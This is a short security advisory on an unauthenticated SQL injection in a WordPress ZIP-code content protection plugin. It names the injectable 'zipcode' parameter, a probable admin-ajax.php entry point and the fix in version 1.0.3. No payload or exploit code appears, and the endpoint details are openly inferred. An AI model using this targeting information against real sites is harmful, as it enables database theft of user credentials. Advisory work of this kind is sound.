Atomic Edge analysis of CVE-2025-14353 (metadata-based):
The vulnerability is an unauthenticated SQL injection in the ZIP Code Based Content Protection WordPress plugin versions up to and including 1.0.2. The root cause is insufficient escaping and lack of prepared statements for user-supplied input in the ‘zipcode’ parameter. This directly maps to CWE-89 (SQL Injection).
Atomic Edge research infers the exploitation vector is likely a public-facing AJAX endpoint. WordPress plugins commonly expose functionality via wp_ajax_nopriv hooks for unauthenticated users. The plugin slug ‘zip-code-based-content-protection’ suggests a possible AJAX action like ‘zip_code_based_content_protection_check’ or similar. The attacker sends a POST request to /wp-admin/admin-ajax.php with a malicious SQL payload in the ‘zipcode’ parameter, which the plugin concatenates directly into an SQL query.
The fix in version 1.0.3 likely replaces the vulnerable code with proper parameterization using $wpdb->prepare() or similar WordPress database methods. Proper input validation or casting to an integer may also be implemented.
Exploitation allows complete database compromise. Attackers can extract sensitive information including user credentials, password hashes, and other plugin-specific data. The CVSS:3.1 vector (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) confirms network-based, low-complexity attacks with no authentication required, leading to high confidentiality impact.
